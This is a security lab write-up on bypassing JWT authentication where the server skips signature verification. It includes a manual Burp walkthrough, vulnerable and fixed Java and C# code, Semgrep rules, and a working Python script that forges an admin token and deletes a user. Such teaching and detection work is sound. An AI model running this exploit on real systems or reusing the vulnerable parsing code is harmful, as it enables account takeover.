Lab 01: JWT authentication bypass via unverified signature
1. Executive Summary
Vulnerability: Broken Authentication (JWT Signature Bypass).
Description: The application uses JSON Web Tokens (JWT) for session management. However, the backend decodes the token to read the user claims (like sub) but fails to verify the cryptographic signature. This allows an attacker to modify the payload (e.g., changing the user ID) without needing to sign the token with the server’s secret key.
Impact: Privilege Escalation / Account Takeover. An attacker can forge a token for any user, including administrators, simply by editing the JSON payload.
2. The Attack
Objective: Access the admin panel by forging a JWT for the administrator user.
- Reconnaissance:
- I logged in as
wiener. - I inspected the
sessioncookie and identified it as a JWT (format:header.payload.signature). - I sent the request
GET /adminto Burp Repeater. It returned401 Unauthorizedbecause I was logged in as a standard user.
- I logged in as
- Exploitation:
- In Burp Inspector, I viewed the decoded payload of the JWT.
- I located the
sub(subject) claim, which was set towiener. - I changed the value of
subtoadministrator. - I clicked Apply changes. This updated the Base64 encoded payload in the request string. Crucially, I did not update the signature (because I don’t know the secret key), leaving the original signature or an invalid one attached.
- Result:
- I sent the modified request to
/admin. - The server accepted the token and returned the admin panel HTML.
- I found the delete link (
/admin/delete?username=carlos) and executed it.
- I sent the modified request to
3. Code Review
Vulnerability Analysis (Explanation):
The flaw occurs when developers treat a JWT as a simple data carrier (like a JSON object) rather than a cryptographic credential. They use methods that “read” or “decode” the token instead of methods that “validate” or “verify” it.
Java (Spring Boot / jjwt)
1
2
3
4
5
6
7
8
9
10
11
12
public Claims getClaims(String token) {
// VULNERABLE: Parsing without verifying the signature
String[] splitToken = token.split("\\.");
String unsignedToken = splitToken[0] + "." + splitToken[1] + ".";
// Or using a library method that only parses:
DefaultJwtParser parser = new DefaultJwtParser();
// parse() just decodes the Base64; it doesn't check the signature
Jwt<?, ?> jwt = parser.parse(token);
return (Claims) jwt.getBody();
}
Technical Flow & Syntax Explanation:
parser.parse(token): In older versions of thejjwtlibrary, theparse()method (without arguments) simply decodes the token structure. It does not enforce signature validation unless a signing key has been explicitly set viasetSigningKey().split("\\."): Even worse, some manual implementations simply split the string by dots, Base64-decode the second part (the payload), and trust the JSON inside. This completely ignores the third part (the signature).
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
public ClaimsPrincipal GetPrincipal(string token)
{
var handler = new JwtSecurityTokenHandler();
// VULNERABLE: ReadJwtToken ONLY reads the data. It performs NO validation.
var jwtToken = handler.ReadJwtToken(token);
var claims = new List<Claim>(jwtToken.Claims);
return new ClaimsPrincipal(new ClaimsIdentity(claims, "jwt"));
}
Technical Flow & Syntax Explanation:
JwtSecurityTokenHandler: The standard class in .NET for handling JWTs.ReadJwtToken(token): This method is a deserializer. It turns the Base64 string into aJwtSecurityTokenobject so you can read properties likeIssuerorClaims. It does not check if the token was signed or if it has expired. It assumes the caller simply wants to read the data.
Mock PR Comment
The authentication logic currently parses the JWT to extract user claims but fails to verify the signature. This allows any user to modify their token payload and impersonate others.
Recommendation: Replace the parsing logic with a verification routine that uses the application’s secret key. In C#, use ValidateToken. In Java, use parser.setSigningKey(...).parseClaimsJws(...).
4. The Fix
Explanation of the Fix:
We must switch from “Reading” to “Validating”. This requires providing the cryptographic key (Secret or Public Key) to the library. The library will then re-calculate the signature based on the header+payload and match it against the signature provided in the token. If they don’t match, it throws an exception.
Secure Java
1
2
3
4
5
6
7
public Claims getClaims(String token) {
// SECURE: We enforce signature verification using the Secret Key
return Jwts.parser()
.setSigningKey(SECRET_KEY) // 1. Set the Key
.parseClaimsJws(token) // 2. Parse JWS (Signed JWT)
.getBody();
}
Technical Flow & Syntax Explanation:
setSigningKey(SECRET_KEY): Configures the parser with the known secret.parseClaimsJws(token): This method specifically expects a JWS (Signed JWT). If the signature is invalid, missing, or created with a different key, this method throws aSignatureException, halting the execution flow and preventing the login.
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public ClaimsPrincipal Validate(string token)
{
var handler = new JwtSecurityTokenHandler();
var parameters = new TokenValidationParameters
{
ValidateIssuerSigningKey = true,
IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(SECRET_KEY)),
ValidateAudience = false,
ValidateIssuer = false
};
// SECURE: ValidateToken checks the signature and throws on failure
SecurityToken validatedToken;
return handler.ValidateToken(token, parameters, out validatedToken);
}
Technical Flow & Syntax Explanation:
TokenValidationParameters: Defines the strict rules for the token.ValidateIssuerSigningKey = true: Explicitly turns on signature verification.handler.ValidateToken(...): This is the gatekeeper. It performs the cryptographic math. If the attacker changedsub: "admin", the signature calculation will differ from the signature in the string, and this method will throw aSecurityTokenInvalidSignatureException.
5. Automation
A Python script that creates a forged token with the modified payload (keeping the original signature to satisfy format, though the server ignores it).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
import argparse
import requests
import base64
import json
import sys
def pad_base64(data):
# JWT base64url encoding strips padding, we might need to add it back for decoding
missing_padding = len(data) % 4
if missing_padding:
data += '=' * (4 - missing_padding)
return data
def exploit_jwt_none(url, username, password):
s = requests.Session()
login_url = f"{url.rstrip('/')}/login"
print(f"[*] Logging in as {username}...")
s.post(login_url, data={'username': username, 'password': password})
# 1. Capture the original Token
session_cookie = s.cookies.get('session')
if not session_cookie:
print("[-] No session cookie found.")
return
print(f"[*] Original Token: {session_cookie}")
# 2. Split Token
header_b64, payload_b64, signature_b64 = session_cookie.split('.')
# 3. Decode Payload
payload_str = base64.urlsafe_b64decode(pad_base64(payload_b64)).decode()
payload = json.loads(payload_str)
print(f"[*] Decoded Payload: {payload}")
# 4. Modify Payload
payload['sub'] = 'administrator'
print(f"[*] Forged Payload: {payload}")
# 5. Re-Encode Payload
# Remove whitespace separators from JSON dumping for JWT spec compliance
new_payload_str = json.dumps(payload, separators=(',', ':'))
new_payload_b64 = base64.urlsafe_b64encode(new_payload_str.encode()).decode().rstrip('=')
# 6. Reconstruct Token
# We keep the old signature (or garbage) because the server doesn't verify it
forged_token = f"{header_b64}.{new_payload_b64}.{signature_b64}"
# 7. Attack
print("[*] Sending request to /admin with forged token...")
s.cookies.set('session', forged_token)
resp = s.get(f"{url.rstrip('/')}/admin")
if resp.status_code == 200 and "Admin panel" in resp.text:
print("[!!!] SUCCESS: Admin panel accessed.")
# Delete Carlos
delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
s.get(delete_url)
print("[+] Carlos deleted.")
else:
print(f"[-] Failed. Status: {resp.status_code}")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("url", help="Lab URL")
ap.add_argument("username", help="Your username (wiener)")
ap.add_argument("password", help="Your password (peter)")
args = ap.parse_args()
exploit_jwt_none(args.url, args.username, args.password)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
- id: java-jwt-no-verification
languages: [java]
message: "JWT parsing detected without signature verification."
severity: ERROR
patterns:
- pattern-either:
- pattern: |
// Vulnerable: Using parse() which implies no key set
Jwts.parser().parse($TOKEN);
- pattern: |
// Vulnerable: Manual split
$TOKEN.split("\\.")[1];
Technical Flow & Syntax Explanation:
Jwts.parser().parse($TOKEN): This pattern looks for theparsemethod called directly on a parser instance without the intermediateparseClaimsJwsorsetSigningKeycalls.$TOKEN.split: Flags manual string manipulation, which is a common heuristic for insecure “home-rolled” JWT handling.
C# Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
- id: csharp-jwt-read-no-validate
languages: [csharp]
message: "JWT read without validation. Use ValidateToken instead of ReadJwtToken."
severity: ERROR
patterns:
- pattern: |
new JwtSecurityTokenHandler().ReadJwtToken(...)
- pattern-not-inside: |
// We ignore if ValidateToken is also present in the same block
...
$HANDLER.ValidateToken(...);
...
Technical Flow & Syntax Explanation:
ReadJwtToken: Identifies the insecure deserialization method.pattern-not-inside: This clause reduces false positives. If the code callsReadJwtToken(to get claims easily) but also callsValidateTokennearby (to check security), it is considered safe. IfReadJwtTokenstands alone, it is vulnerable.
